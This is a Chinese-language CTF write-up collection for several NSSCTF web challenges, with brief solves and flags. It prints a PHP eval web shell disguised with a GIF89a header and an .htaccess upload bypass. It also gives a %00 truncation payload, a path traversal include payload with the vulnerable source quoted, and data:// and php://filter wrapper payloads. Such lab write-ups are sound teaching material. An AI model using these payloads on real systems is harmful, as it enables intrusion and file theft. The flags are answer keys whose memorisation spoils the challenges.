NSSCTF平台:https://www.nssctf.cn/
PS:记得所有的flag
都改为NSSCTF
先传了一个一句话木马然后过滤了上传一个.htaccess
文件 AddType application/x-httpd-php .jpeg
(将.jpeg
文件解析为php
文件)
这里我们可以解析jpeg
后 继续上传一个一句话木马的jpeg
但是 这里还有过滤(诶,别蒙我啊,这标志明显还是php
啊)修改为:
GIF89a
<script language="php">eval($_POST['cmd']);</script>
然后蚁连接在根目录下看到flag
。
NSSCTF{13452adb-4b78-4942-bdea-9f90c17d4507}
PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的get_headers()
函数存在安全漏洞(\0可以截断)。攻击者可利用该漏洞造成信息泄露
使用%00
截断 说我们url
请求必须包含.ctfhub.com
F12
提示flag
在本地,还告诉了我们主机名必须以123
结尾
Payload:?url=http://127.0.0.123%00www.ctfhub.com
NSSCTF{80f1e680-dcd3-407f-b001-fe43442fed83}
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
文件包含 Payload:file=hint.php?../../../../../ffffllllaaaagggg
NSSCTF{c5a0500a-bc52-40e2-b4e4-6155dc4ba55e}
使用dirsearch
扫到了www.rar
打开文档有个路径 进行访问 然后就是代码审计
文件包含 根据代码审计以及file_get_contents
读取文件内容函数我们可以知道我们需要传入一个文件,这里可以利用data://
伪协议
Pyload:orzorz.php?cxk=data://text/plain,ctrl
NSSCTF{33af9a1f-f959-4d87-bdd0-e82ed1087876}
一个Ubuntu默认页面访问index.php
,提示eval post cmd
应该是有一句话
直接蚁剑连接 成功连接 发现bbbbbbbbb.txt
像Base64
转图片
Base64
转图片:https://tool.jisuapi.com/base642pic.html
NSSCTF{do_u_kn0w_c@idao}
直接文件包含flag.php使
用伪协议?filter=php://filter/convert.base64-encode/resource=flag.php
Base64
解码即可。
NSSCTF{57b43a46-bd1c-4a2e-b15d-5bccff598016}
直接上传一句话木马 然后
WebShell
工具连接即可。
NSSCTF{fd2184bf-1b85-4a1f-87a2-5beab899b5d0}